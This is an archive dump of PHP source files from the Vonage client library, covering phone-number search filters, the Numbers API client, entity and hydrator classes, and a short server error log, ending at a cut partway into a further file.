00000014605 15107326722 0014133 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers\Filter; use InvalidArgumentException; use Vonage\Client\Exception\Request; use Vonage\Entity\Filter\FilterInterface; use Vonage\Numbers\Number; use function array_key_exists; use function implode; use function is_array; use function strlen; class AvailableNumbers implements FilterInterface { public const SEARCH_PATTERN_BEGIN = 0; public const SEARCH_PATTERN_CONTAINS = 1; public const SEARCH_PATTERN_ENDS = 2; public static array $possibleParameters = [ 'country' => 'string', 'pattern' => 'string', 'search_pattern' => 'integer', 'size' => 'integer', 'index' => 'integer', 'has_application' => 'boolean', 'application_id' => 'string', 'features' => 'string', 'type' => 'string', ]; /** * @var string */ protected $country; /** * @var string */ protected $features; /** * @var int */ protected $pageIndex = 1; /** * @var int */ protected $pageSize = 10; /** * @var string */ protected $pattern; /** * @var int */ protected $searchPattern = 0; /** * @var string */ protected $type; public function __construct(array $filter = []) { foreach ($filter as $key => $value) { if (!array_key_exists($key, self::$possibleParameters)) { throw new Request("Unknown option: '" . $key . "'"); } switch (self::$possibleParameters[$key]) { case 'boolean': $value = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if (is_null($value)) { throw new Request("Invalid value: '" . $key . "' must be a boolean value"); } $value = $value ? "true" : "false"; break; case 'integer': $value = filter_var($value, FILTER_VALIDATE_INT); if ($value === false) { throw new Request("Invalid value: '" . $key . "' must be an integer"); } break; default: // No-op, take the value whatever it is break; } } if (array_key_exists('country', $filter)) { $this->setCountry($filter['country']); } if (array_key_exists('size', $filter)) { $this->setPageSize((int)$filter['size']); } if (array_key_exists('index', $filter)) { $this->setPageIndex((int)$filter['index']); } if (array_key_exists('pattern', $filter)) { $this->setPattern($filter['pattern']); if (array_key_exists('search_pattern', $filter)) { $this->setSearchPattern((int)$filter['search_pattern']); } } if (array_key_exists('type', $filter)) { $this->setType($filter['type']); } if (array_key_exists('features', $filter)) { // Handle the old format where we asked for an array if (is_array($filter['features'])) { $filter['features'] = implode(',', $filter['features']); } $this->setFeatures($filter['features']); } } /** * @return int[] */ public function getQuery(): array { $data = [ 'size' => $this->getPageSize(), 'index' => $this->getPageIndex(), ]; if ($this->getCountry()) { $data['country'] = $this->getCountry(); } if ($this->getPattern()) { $data['search_pattern'] = $this->getSearchPattern(); $data['pattern'] = $this->getPattern(); } if ($this->getType()) { $data['type'] = $this->getType(); } if ($this->getFeatures()) { $data['features'] = $this->getFeatures(); } return $data; } public function getCountry(): ?string { return $this->country; } protected function setCountry(string $country): void { if (strlen($country) !== 2) { throw new InvalidArgumentException("Country must be in ISO 3166-1 Alpha-2 Format"); } $this->country = $country; } public function getFeatures(): ?string { return $this->features; } /** * @return $this */ public function setFeatures(string $features): self { $this->features = $features; return $this; } public function getPageIndex(): int { return $this->pageIndex; } /** * @return $this */ public function setPageIndex(int $pageIndex): self { $this->pageIndex = $pageIndex; return $this; } public function getPattern(): ?string { return $this->pattern; } /** * @return $this */ public function setPattern(string $pattern): self { $this->pattern = $pattern; return $this; } public function getSearchPattern(): int { return $this->searchPattern; } /** * @return $this */ public function setSearchPattern(int $searchPattern): self { $this->searchPattern = $searchPattern; return $this; } public function getType(): ?string { return $this->type; } /** * @return $this */ public function setType(string $type): self { // Workaround for code snippets if (empty($type)) { return $this; } $valid = [ Number::TYPE_FIXED, Number::TYPE_MOBILE, Number::TYPE_TOLLFREE, ]; if (!in_array($type, $valid)) { throw new InvalidArgumentException('Invalid type of number'); } $this->type = $type; return $this; } public function getPageSize(): int { return $this->pageSize; } /** * @return $this */ public function setPageSize(int $pageSize): self { $this->pageSize = $pageSize; return $this; } } src/Numbers/Filter/OwnedNumbers.php 0000644 00000014045 15107326722 0013325 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers\Filter; use InvalidArgumentException; use Vonage\Client\Exception\Request; use Vonage\Entity\Filter\FilterInterface; use function array_key_exists; use function filter_var; use function is_null; use function strlen; class OwnedNumbers implements FilterInterface { public const SEARCH_PATTERN_BEGIN = 0; public const SEARCH_PATTERN_CONTAINS = 1; public const SEARCH_PATTERN_ENDS = 2; public static array $possibleParameters = [ 'country' => 'string', 'pattern' => 'string', 'search_pattern' => 'integer', 'size' => 'integer', 'index' => 'integer', 'has_application' => 'boolean', 'application_id' => 'string', 'features' => 'string' ]; /** * @var string */ protected $applicationId; /** * @var string */ protected $country; /** * @var bool */ protected $hasApplication; /** * @var int */ protected $pageIndex = 1; /** * @var string */ protected $pattern; /** * @var int */ protected $searchPattern = 0; protected int $pageSize = 10; public function __construct(array $filter = []) { foreach ($filter as $key => $value) { if (!array_key_exists($key, self::$possibleParameters)) { throw new Request("Unknown option: '" . $key . "'"); } switch (self::$possibleParameters[$key]) { case 'boolean': $value = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE); if (is_null($value)) { throw new Request("Invalid value: '" . $key . "' must be a boolean value"); } $value = $value ? "true" : "false"; break; case 'integer': $value = filter_var($value, FILTER_VALIDATE_INT); if ($value === false) { throw new Request("Invalid value: '" . $key . "' must be an integer"); } break; default: // No-op, take the value whatever it is break; } } if (array_key_exists('country', $filter)) { $this->setCountry($filter['country']); } if (array_key_exists('size', $filter)) { $this->setPageSize((int)$filter['size']); } if (array_key_exists('index', $filter)) { $this->setPageIndex((int)$filter['index']); } if (array_key_exists('pattern', $filter)) { $this->setPattern($filter['pattern']); if (array_key_exists('search_pattern', $filter)) { $this->setSearchPattern($filter['search_pattern']); } } if (array_key_exists('application_id', $filter)) { $this->setApplicationId($filter['application_id']); } if (array_key_exists('has_application', $filter)) { $this->setHasApplication(filter_var($filter['has_application'], FILTER_VALIDATE_BOOLEAN)); } } /** * @return int[] */ public function getQuery(): array { $data = [ 'size' => $this->getPageSize(), 'index' => $this->getPageIndex(), ]; if ($this->getCountry()) { $data['country'] = $this->getCountry(); } if ($this->getPattern()) { $data['search_pattern'] = $this->getSearchPattern(); $data['pattern'] = $this->getPattern(); } if ($this->getApplicationId()) { $data['application_id'] = $this->getApplicationId(); } if (!is_null($this->getHasApplication())) { // The API requires a string $data['has_application'] = $this->getHasApplication() ? 'true' : 'false'; } return $data; } public function getCountry(): ?string { return $this->country; } protected function setCountry(string $country): void { if (strlen($country) !== 2) { throw new InvalidArgumentException("Country must be in ISO 3166-1 Alpha-2 Format"); } $this->country = $country; } public function getPageIndex(): int { return $this->pageIndex; } /** * @return $this */ public function setPageIndex(int $pageIndex): self { $this->pageIndex = $pageIndex; return $this; } public function getPattern(): ?string { return $this->pattern; } /** * @return $this */ public function setPattern(string $pattern): self { $this->pattern = $pattern; return $this; } public function getSearchPattern(): int { return $this->searchPattern; } /** * @return $this */ public function setSearchPattern(int $searchPattern): self { $this->searchPattern = $searchPattern; return $this; } public function getPageSize(): int { return $this->pageSize; } /** * @return $this */ public function setPageSize(int $pageSize): self { $this->pageSize = $pageSize; return $this; } public function getApplicationId(): ?string { return $this->applicationId; } /** * @return $this */ public function setApplicationId(string $applicationId): self { $this->applicationId = $applicationId; return $this; } public function getHasApplication(): ?bool { return $this->hasApplication; } /** * @return $this */ public function setHasApplication(bool $hasApplication): self { $this->hasApplication = $hasApplication; return $this; } } src/Numbers/ClientFactory.php 0000644 00000001412 15107326722 0012230 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUrl($api->getClient()->getRestUrl()) ->setIsHAL(false) ->setAuthHandler(new BasicHandler()); return new Client($api); } } src/Numbers/Client.php 0000644 00000017532 15107326722 0010712 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\Exception; use Vonage\Client\Exception\Request; use Vonage\Client\Exception\Server; use Vonage\Client\Exception\ThrottleException; use Vonage\Entity\Filter\FilterInterface; use Vonage\Entity\IterableAPICollection; use Vonage\Numbers\Filter\AvailableNumbers; use Vonage\Numbers\Filter\OwnedNumbers; use function count; use function is_null; use function sleep; use function trigger_error; class Client implements APIClient { public function __construct(protected ?APIResource $api = null) { } public function getApiResource(): APIResource { return $this->api; } /** * @param Number $number * @param string|null $id * * @return Number * @throws ClientExceptionInterface * @throws Exception * @throws Request * @throws Server */ public function update(Number $number, ?string $id = null): Number { if (!is_null($id)) { $update = $this->get($id); } $body = $number->toArray(); if (!isset($update) && !isset($body['country'])) { $data = $this->get($number->getId()); $body['msisdn'] = $data->getId(); $body['country'] = $data->getCountry(); } if (isset($update)) { $body['msisdn'] = $update->getId(); $body['country'] = $update->getCountry(); } unset($body['features'], $body['type']); $api = $this->getApiResource(); $api->submit($body, '/number/update'); if (isset($update)) { try { return $this->get($number->getId()); } catch (ThrottleException) { sleep(1); // This API is 1 request per second :/ return $this->get($number->getId()); } } try { return $this->get($number->getId()); } catch (ThrottleException) { sleep(1); // This API is 1 request per second :/ return $this->get($number->getId()); } } /** * Returns a number * * @param string $number Number to fetch, deprecating passing a `Number` object * * @return Number * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function get(string $number): Number { $items = $this->searchOwned($number); // This is legacy behaviour, so we need to keep it even though // it isn't technically the correct message if (count($items) !== 1) { throw new ClientException\Request('number not found', 404); } return $items[0]; } /** * Returns a set of numbers for the specified country * * @param string $country The two character country code in ISO 3166-1 alpha-2 format * @param FilterInterface $options Additional options, see https://developer.nexmo.com/api/numbers#getAvailableNumbers * * @return array * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function searchAvailable(string $country, FilterInterface $options = null): array { if (is_null($options)) { $options = new AvailableNumbers([ 'country' => $country ]); } $api = $this->getApiResource(); $api->setCollectionName('numbers'); $response = $api->search( new AvailableNumbers($options->getQuery() + ['country' => $country]), '/number/search' ); $response->setHydrator(new Hydrator()); $response->setAutoAdvance(false); // The search results on this can be quite large return $this->handleNumberSearchResult($response, null); } /** * Returns a set of numbers for the specified country * * @param null $number * @param FilterInterface|null $options * * @return array * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function searchOwned($number = null, FilterInterface $options = null): array { if ($number !== null) { if ($options !== null) { $options->setPattern($number); } else { $options = new OwnedNumbers([ 'pattern' => $number ]); } } $api = $this->getApiResource(); $api->setCollectionName('numbers'); $response = $api->search($options, '/account/numbers'); $response->setHydrator(new Hydrator()); $response->setAutoAdvance(false); // The search results on this can be quite large return $this->handleNumberSearchResult($response, $number); } /** * @param $number deprecated * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ private function handleNumberSearchResult(IterableAPICollection $response, $number = null): array { // We're going to return a list of numbers $numbers = []; // Legacy - If the user passed in a number object, populate that object // @deprecated This will eventually return a new clean object if ($number instanceof Number && count($response) === 1) { $number->fromArray($response->current()->toArray()); $numbers[] = $number; } else { foreach ($response as $rawNumber) { $numbers[] = $rawNumber; } } return $numbers; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception */ public function purchase($number, ?string $country = null): void { if (!$country) { throw new ClientException\Exception( "You must supply a country in addition to a number to purchase a number" ); } if ($number instanceof Number) { trigger_error( 'Passing a Number object to Vonage\Number\Client::purchase() is being deprecated, ' . 'please pass a string MSISDN instead', E_USER_DEPRECATED ); $body = [ 'msisdn' => $number->getMsisdn(), 'country' => $number->getCountry() ]; // Evil else that will be removed in the next major version. } else { $body = [ 'msisdn' => $number, 'country' => $country ]; } $api = $this->getApiResource(); $api->setBaseUri('/number/buy'); $api->submit($body); } /** * @param string $number * @param string|null $country * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function cancel(string $number, ?string $country = null): void { $number = $this->get($number); $body = [ 'msisdn' => $number->getMsisdn(), 'country' => $number->getCountry() ]; $api = $this->getApiResource(); $api->setBaseUri('/number/cancel'); $api->submit($body); } } src/Numbers/Number.php 0000644 00000016165 15107326723 0010726 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use InvalidArgumentException; use RuntimeException; use Vonage\Application\Application; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableInterface; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\JsonUnserializableInterface; use Vonage\Entity\NoRequestResponseTrait; use function get_class; use function in_array; use function is_null; use function json_decode; use function json_last_error; use function preg_match; use function stripos; use function strpos; use function trigger_error; class Number implements EntityInterface, JsonSerializableInterface, JsonUnserializableInterface, ArrayHydrateInterface, \Stringable { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; public const TYPE_MOBILE = 'mobile-lvn'; public const TYPE_FIXED = 'landline'; public const TYPE_TOLLFREE = 'landline-toll-free'; public const FEATURE_VOICE = 'VOICE'; public const FEATURE_SMS = 'SMS'; public const FEATURE_MMS = 'MMS'; public const FEATURE_SMS_VOICE = 'SMS,VOICE'; public const FEATURE_SMS_MMS = 'SMS,MMS'; public const FEATURE_VOICE_MMS = 'VOICE,MMS'; public const FEATURE_ALL = 'SMS,MMS,VOICE'; public const WEBHOOK_MESSAGE = 'moHttpUrl'; public const WEBHOOK_VOICE_STATUS = 'voiceStatusCallback'; public const ENDPOINT_SIP = 'sip'; public const ENDPOINT_TEL = 'tel'; public const ENDPOINT_VXML = 'vxml'; public const ENDPOINT_APP = 'app'; /** * @var array */ protected $data = []; public function __construct($number = null, $country = null) { $this->data['msisdn'] = $number; $this->data['country'] = $country; } public function getId() { return $this->fromData('msisdn'); } public function getMsisdn() { return $this->getId(); } public function getNumber() { return $this->getId(); } public function getCountry() { return $this->fromData('country'); } public function getType() { return $this->fromData('type'); } public function getCost() { return $this->fromData('cost'); } /** * @param $feature */ public function hasFeature($feature): bool { if (!isset($this->data['features'])) { return false; } return in_array($feature, $this->data['features'], true); } public function getFeatures() { return $this->fromData('features'); } /** * @param $type * @param $url */ public function setWebhook($type, $url): self { if (!in_array($type, [self::WEBHOOK_MESSAGE, self::WEBHOOK_VOICE_STATUS], true)) { throw new InvalidArgumentException("invalid webhook type `$type`"); } $this->data[$type] = $url; return $this; } /** * @param $type */ public function getWebhook($type) { return $this->fromData($type); } /** * @param $type */ public function hasWebhook($type): bool { return isset($this->data[$type]); } /** * @param $endpoint * @param $type */ public function setVoiceDestination($endpoint, $type = null): self { if (is_null($type)) { $type = $this->autoType($endpoint); } if (self::ENDPOINT_APP === $type && !($endpoint instanceof Application)) { $endpoint = new Application($endpoint); } $this->data['voiceCallbackValue'] = $endpoint; $this->data['voiceCallbackType'] = $type; return $this; } /** * @param $endpoint */ protected function autoType($endpoint): string { if ($endpoint instanceof Application) { return self::ENDPOINT_APP; } if (false !== strpos($endpoint, '@')) { return self::ENDPOINT_SIP; } if (0 === stripos($endpoint, 'http')) { return self::ENDPOINT_VXML; } if (preg_match('#[a-z]+#', $endpoint)) { return self::ENDPOINT_APP; } return self::ENDPOINT_TEL; } public function getVoiceDestination() { return $this->fromData('voiceCallbackValue'); } /** * @return mixed|null */ public function getVoiceType() { return $this->data['voiceCallbackType'] ?? null; } /** * @param $name */ protected function fromData($name) { if (!isset($this->data[$name])) { throw new RuntimeException("`{$name}` has not been set"); } return $this->data[$name]; } /** * @param string|array $json */ public function jsonUnserialize($json): void { trigger_error( $this::class . "::jsonUnserialize is deprecated, please fromArray() instead", E_USER_DEPRECATED ); $jsonArr = json_decode($json, true); if (json_last_error() === JSON_ERROR_NONE) { $json = $jsonArr; } $this->fromArray($json); } public function fromArray(array $data): void { $this->data = $data; } /** * @return array|mixed */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->toArray(); } public function toArray(): array { $json = $this->data; // Swap to using app_id instead if (isset($json['messagesCallbackType'])) { $json['app_id'] = $json['messagesCallbackValue']; unset($json['messagesCallbackValue'], $json['messagesCallbackType']); } if (isset($json['voiceCallbackValue']) && ($json['voiceCallbackValue'] instanceof Application)) { $json['app_id'] = $json['voiceCallbackValue']->getId(); unset($json['voiceCallbackValue'], $json['voiceCallbackType']); } if (isset($json['voiceCallbackValue']) && $json['voiceCallbackType'] === 'app') { $json['app_id'] = $json['voiceCallbackValue']; unset($json['voiceCallbackValue'], $json['voiceCallbackType']); } return $json; } /** * @return string */ public function __toString(): string { return (string)$this->getId(); } /** * @return $this */ public function setAppId(string $appId): self { $this->data['messagesCallbackType'] = self::ENDPOINT_APP; $this->data['messagesCallbackValue'] = $appId; $this->data['voiceCallbackType'] = self::ENDPOINT_APP; $this->data['voiceCallbackValue'] = $appId; return $this; } public function getAppId(): ?string { // These should never be different, but might not both be set return $this->data['voiceCallbackValue'] ?? $this->data['messagesCallbackValue']; } } src/Numbers/Hydrator.php 0000644 00000001176 15107326723 0011266 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use Vonage\Entity\Hydrator\HydratorInterface; class Hydrator implements HydratorInterface { public function hydrate(array $data) { $number = new Number(); return $this->hydrateObject($data, $number); } public function hydrateObject(array $data, $object) { $object->fromArray($data); return $object; } } src/error_log 0000644 00000002462 15107326723 0007262 0 ustar 00 [19-Nov-2025 03:12:18 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 07:24:37 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:17:17 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:47:46 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:48:58 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:50:50 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 09:48:55 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 src/Response.php 0000644 00000005671 15107326723 0007661 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Countable; use Iterator; use InvalidArgumentException; use Vonage\Response\Message; use function json_decode; /** * Wrapper for Vonage API Response, provides access to the count and status of * the messages. */ class Response implements Countable, Iterator { /** * @var array */ protected $data = []; /** * @var array */ protected $messages = []; /** * @var int */ protected $position = 0; /** * @todo Remove manual test, and throw JSON error instead in next major release * @var string $data */ public function __construct($data) { if (!is_string($data)) { throw new InvalidArgumentException('expected response data to be a string'); } $this->data = json_decode($data, true); } public function getMessages(): array { return $this->data['messages'] ?? []; } /** * (PHP 5 >= 5.1.0)<br/> * Count elements of an object * * @link http://php.net/manual/en/countable.count.php * </p> * <p> * The return value is cast to an integer. */ public function count(): int { return (int)$this->data['message-count']; } /** * (PHP 5 >= 5.0.0)<br/> * Return the current element * * @link http://php.net/manual/en/iterator.current.php */ public function current(): Message { if (!isset($this->messages[$this->position])) { $this->messages[$this->position] = new Message($this->data['messages'][$this->position]); } return $this->messages[$this->position]; } /** * (PHP 5 >= 5.0.0)<br/> * Move forward to next element * * @link http://php.net/manual/en/iterator.next.php */ public function next(): void { $this->position++; } /** * (PHP 5 >= 5.0.0)<br/> * Return the key of the current element * * @link http://php.net/manual/en/iterator.key.php */ public function key(): int { return $this->position; } /** * (PHP 5 >= 5.0.0)<br/> * Checks if current position is valid * * @link http://php.net/manual/en/iterator.valid.php * Returns true on success or false on failure. */ public function valid(): bool { return isset($this->data['messages'][$this->position]); } /** * (PHP 5 >= 5.0.0)<br/> * Rewind the Iterator to the first element * * @link http://php.net/manual/en/iterator.rewind.php */ public function rewind(): void { $this->position = 0; } public function toArray(): array { return $this->data; } } src/Entity/CollectionAwareInterface.php 0000644 00000000673 15107326724 0014231 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; interface CollectionAwareInterface { public function setCollection(CollectionInterface $collection); public function getCollection(): CollectionInterface; } src/Entity/CollectionInterface.php 0000644 00000001130 15107326724 0013236 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Countable; use Iterator; interface CollectionInterface extends Countable, Iterator { public static function getCollectionName(): string; public static function getCollectionPath(): string; /** * @param $data * @param $idOrEntity */ public function hydrateEntity($data, $idOrEntity); } src/Entity/Filter/DateFilter.php 0000644 00000001712 15107326724 0012600 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; use DateTime; /** * Simple value object for application filtering. */ class DateFilter implements FilterInterface { public const FORMAT = 'Y:m:d:H:i:s'; protected $start; protected $end; public function __construct(DateTime $start, DateTime $end) { if ($start < $end) { $this->start = $start; $this->end = $end; } else { $this->start = $end; $this->end = $start; } } /** * @return string[] */ public function getQuery(): array { return [ 'date' => $this->start->format(self::FORMAT) . '-' . $this->end->format(self::FORMAT) ]; } } src/Entity/Filter/KeyValueFilter.php 0000644 00000001170 15107326724 0013446 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; /** * A very simple key-value filter that can be used when less magic is needed */ class KeyValueFilter implements FilterInterface { /** * @param array<string, string> $query */ public function __construct(protected array $query = []) { } public function getQuery(): array { return $this->query; } } src/Entity/Filter/FilterInterface.php 0000644 00000000531 15107326725 0013622 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; interface FilterInterface { public function getQuery(); } src/Entity/Filter/EmptyFilter.php 0000644 00000000622 15107326725 0013021 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; class EmptyFilter implements FilterInterface { public function getQuery(): array { return []; } } src/Entity/Hydrator/ArrayHydrator.php 0000644 00000001565 15107326725 0013726 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; class ArrayHydrator implements HydratorInterface { /** * @var ArrayHydrateInterface */ protected $prototype; public function hydrate(array $data): ArrayHydrateInterface { $object = clone $this->prototype; $object->fromArray($data); return $object; } /** * @param $object */ public function hydrateObject(array $data, $object) { $object->fromArray($data); return $object; } public function setPrototype(ArrayHydrateInterface $prototype): void { $this->prototype = $prototype; } } src/Entity/Hydrator/ConstructorHydrator.php 0000644 00000001553 15107326725 0015172 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; class ConstructorHydrator implements HydratorInterface { /** * Class to create * @var string */ protected $prototype; public function hydrate(array $data) { $className = $this->prototype; return new $className($data); } /** * @param $object */ public function hydrateObject(array $data, $object) { throw new \RuntimeException('Constructor Hydration can not happen on an existing object'); } public function setPrototype(string $prototype): void { $this->prototype = $prototype; } } src/Entity/Hydrator/ArrayHydrateInterface.php 0000644 00000001356 15107326725 0015351 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; /** * Interface for allowing an entity to be converted to/from an array * While the built-in `JsonSerializable` interface is nice, it's not * always semantically correct. This provides a much more clear set * of functions for handling this. Ideally, if an entity also * implements `JsonSerializable`, those functions can just wrap these */ interface ArrayHydrateInterface { public function fromArray(array $data); public function toArray(): array; } src/Entity/Hydrator/HydratorInterface.php 0000644 00000001123 15107326726 0014537 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; interface HydratorInterface { /** * Hydrate an object that the hydrator creates */ public function hydrate(array $data); /** * Hydrate an existing object created outside of the hydrator * * @param $object */ public function hydrateObject(array $data, $object); } src/Entity/Psr7Trait.php 0000644 00000005605 15107326726 0011176 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use function array_merge; use function get_class; use function is_array; use function json_decode; use function method_exists; use function parse_str; use function trigger_error; /** * Class Psr7Trait * * Allow an entity to contain last request / response objects. */ trait Psr7Trait { /** * @var RequestInterface */ protected $request; /** * @var ResponseInterface */ protected $response; public function setResponse(ResponseInterface $response): void { trigger_error( $this::class . '::setResponse() is deprecated and will be removed', E_USER_DEPRECATED ); $this->response = $response; $status = (int)$response->getStatusCode(); if ($this instanceof ArrayHydrateInterface && (200 === $status || 201 === $status)) { $this->fromArray($this->getResponseData()); } } public function setRequest(RequestInterface $request): void { trigger_error( $this::class . '::setRequest is deprecated and will be removed', E_USER_DEPRECATED ); $this->request = $request; $this->data = []; if (method_exists($request, 'getQueryParams')) { $this->data = $request->getQueryParams(); } $contentType = $request->getHeader('Content-Type'); if (!empty($contentType)) { if ($contentType[0] === 'application/json') { $body = json_decode($request->getBody()->getContents(), true); if (is_array($body)) { $this->data = array_merge( $this->data, $body ); } } } else { parse_str($request->getBody()->getContents(), $body); $this->data = array_merge($this->data, $body); } } public function getRequest(): ?RequestInterface { trigger_error( $this::class . '::getRequest() is deprecated. ' . 'Please get the APIResource from the appropriate client to get this information', E_USER_DEPRECATED ); return $this->request; } public function getResponse(): ?ResponseInterface { trigger_error( $this::class . '::getResponse() is deprecated. ' . 'Please get the APIResource from the appropriate client to get this information', E_USER_DEPRECATED ); return $this->response; } } src/Entity/JsonResponseTrait.php 0000644 00000002525 15107326726 0012771 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ 